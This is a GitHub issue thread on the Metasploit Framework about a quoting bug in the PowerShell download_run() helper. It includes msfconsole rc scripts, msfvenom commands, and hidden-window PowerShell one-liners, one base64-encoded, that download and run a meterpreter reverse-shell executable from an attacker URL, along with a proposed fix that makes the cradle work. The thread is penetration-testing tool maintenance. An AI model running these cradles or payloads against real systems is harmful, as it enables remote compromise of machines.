rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
33.79k stars 13.9k forks source link

Rex::Powershell::PshMethods.download_run() bad quoting result in non working payloads #18436

Closed xl00t closed 9 months ago

xl00t commented 11 months ago

Steps to reproduce

Using a custom rc script in order to replicate the behavior.

use exploit/multi/script/web_delivery
set TARGET 6
set payload windows/x64/meterpreter/reverse_tcp

set lhost eth0
set lport 443

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f exe -o /tmp/msf/test.exe

set EXE::Custom /tmp/msf/test.exe

set PSH-ForceTLS12 false
set PSH-EncodedCommand false

exploit -j -z

Output:

msfconsole -q -r /home/kali/.msf4/rc_scripts/test.rc
[*] Processing /home/kali/.msf4/rc_scripts/test.rc for ERB directives.
resource (/home/kali/.msf4/rc_scripts/test.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/home/kali/.msf4/rc_scripts/test.rc)> set TARGET 6
TARGET => 6
resource (/home/kali/.msf4/rc_scripts/test.rc)> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
resource (/home/kali/.msf4/rc_scripts/test.rc)> set lhost eth0
lhost => eth0
resource (/home/kali/.msf4/rc_scripts/test.rc)> set lport 443
lport => 443
resource (/home/kali/.msf4/rc_scripts/test.rc)> msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f exe -o /tmp/msf/test.exe
[*] exec: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f exe -o /tmp/msf/test.exe
Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: /tmp/msf/test.exe
resource (/home/kali/.msf4/rc_scripts/test.rc)> set EXE::Custom /tmp/msf/test.exe
EXE::Custom => /tmp/msf/test.exe
resource (/home/kali/.msf4/rc_scripts/test.rc)> set PSH-ForceTLS12 false
PSH-ForceTLS12 => false
resource (/home/kali/.msf4/rc_scripts/test.rc)> set PSH-EncodedCommand false
PSH-EncodedCommand => false
resource (/home/kali/.msf4/rc_scripts/test.rc)> exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.1.25:443 
[*] Using URL: http://192.168.1.25:8080/8mPdxBfuifrZN5
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $z="echo ($env:temp+'\7dX4tlxd.exe')"; (new-object System.Net.WebClient).DownloadFile('http://192.168.1.25:8080/8mPdxBfuifrZN5', $z); invoke-item $z

The problem is that the payload will only work when being executed on cmd interpreter.

If being run from powershell, the $z="echo ($env:temp+'\7dX4tlxd.exe')" part will resolve in an error because of the quoting will prevent the echo from occur.

in order to debug we will not use hidden window flag and run this command: powershell.exe -nop -c $z="echo ($env:temp+'\7dX4tlxd.exe')"; echo $z

Because of this behavior we cant use base64 encoded payload.

Trying with set PSH-EncodedCommand true

output:

msfconsole -q -r /home/kali/.msf4/rc_scripts/test.rc
[*] Processing /home/kali/.msf4/rc_scripts/test.rc for ERB directives.
resource (/home/kali/.msf4/rc_scripts/test.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/home/kali/.msf4/rc_scripts/test.rc)> set TARGET 6
TARGET => 6
resource (/home/kali/.msf4/rc_scripts/test.rc)> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
resource (/home/kali/.msf4/rc_scripts/test.rc)> set lhost eth0
lhost => eth0
resource (/home/kali/.msf4/rc_scripts/test.rc)> set lport 443
lport => 443
resource (/home/kali/.msf4/rc_scripts/test.rc)> msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f exe -o /tmp/msf/test.exe
[*] exec: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f exe -o /tmp/msf/test.exe

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: /tmp/msf/test.exe
resource (/home/kali/.msf4/rc_scripts/test.rc)> set EXE::Custom /tmp/msf/test.exe
EXE::Custom => /tmp/msf/test.exe
resource (/home/kali/.msf4/rc_scripts/test.rc)> set PSH-ForceTLS12 false
PSH-ForceTLS12 => false
resource (/home/kali/.msf4/rc_scripts/test.rc)> set PSH-EncodedCommand true
PSH-EncodedCommand => true
resource (/home/kali/.msf4/rc_scripts/test.rc)> exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.1.25:443 
[*] Using URL: http://192.168.1.25:8080/6Tv6DSv2iDrt6b
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e JABhAFkAVgA9ACIAZQBjAGgAbwAgACgAJABlAG4AdgA6AHQAZQBtAHAAKwAnAFwAcQBNAGQAUgBGAFYAVwBIAC4AZQB4AGUAJwApACIAOwAgACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAyADUAOgA4ADAAOAAwAC8ANgBUAHYANgBEAFMAdgAyAGkARAByAHQANgBiACcALAAgACQAYQBZAFYAKQA7ACAAaQBuAHYAbwBrAGUALQBpAHQAZQBtACAAJABhAFkAVgA=

debug:

image

as we pass echo (C:\Users\nobody\AppData\Local\Temp+'\7dX4tlxd.exe') to DownloadFile argument the payload break.

Remediation

Taking back our debug payload powershell.exe -nop -c $z="echo ($env:temp+'\7dX4tlxd.exe')"; echo $z but removing double quoting for $z variable like this. powershell.exe -nop -c $z=echo ($env:temp+'\7dX4tlxd.exe'); echo $z

output:

The quoting of the $z variable is done by Rex::Powershell::PshMethods.download_run() and if we remove it seems like everything will be fixed for this case.

https://github.com/rapid7/rex-powershell/blob/master/lib/rex/powershell/psh_methods.rb#L29-L32

Should be replaced by

def self.download_run(src, target)
  target ||= '$pwd\\' << src.split('/').last
  %Q^$z=#{target}; (new-object System.Net.WebClient).DownloadFile('#{src}', $z); invoke-item $z^
end

The others modules using the download_run() methods are those ones:

Seen their code this change shouldn't make a big differences but i will give a test tomorrow.

After change this is the output payload: powershell.exe -nop -w hidden -c $z=echo ($env:temp+'\h68IJGBy.exe'); (new-object System.Net.WebClient).DownloadFile('http://192.168.1.25:8080/2qhMMfYRv', $z); invoke-item $z

Which work for both raw and encoded commands, in cmd and powershell

I wasnt sure if i were supposed to open an issue to metasploit or rex-powershell repo since both are affected, sorry if i do mistake

Metasploit version

Framework: 6.3.38-dev-b32fe19545 Console : 6.3.38-dev-b32fe19545

xl00t commented 11 months ago

Example or payload run after fix: image

xl00t commented 11 months ago

image

sempervictus commented 11 months ago

Leaving comment here so i can dive into this a bit more when i have a sec. First glance though, the PSH syntax is missing a variable interpolation: $z="echo ($env:temp+'\7dX4tlxd.exe')" vs $z="echo ($($env:temp+'\7dX4tlxd.exe'))"

R7 folks: feel free to assign me if this is in fact a rex-powershell concern. I do have some deviation from upstream in quote handling but for very different reasons having to do with code embedding for in-memory compilation and the absurdity of MSFT's HEREDOC semantics.

xl00t commented 11 months ago

Hey! Thanks for reviewing my issues I tested with variable interpolation and the behavior stay the same. But when stripping out the quotes it is working as expected again Do you have other ideas ?

github-actions[bot] commented 10 months ago

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

github-actions[bot] commented 9 months ago

Hi again!

It’s been 60 days since anything happened on this issue, so we are going to close it. Please keep in mind that I’m only a robot, so if I’ve closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.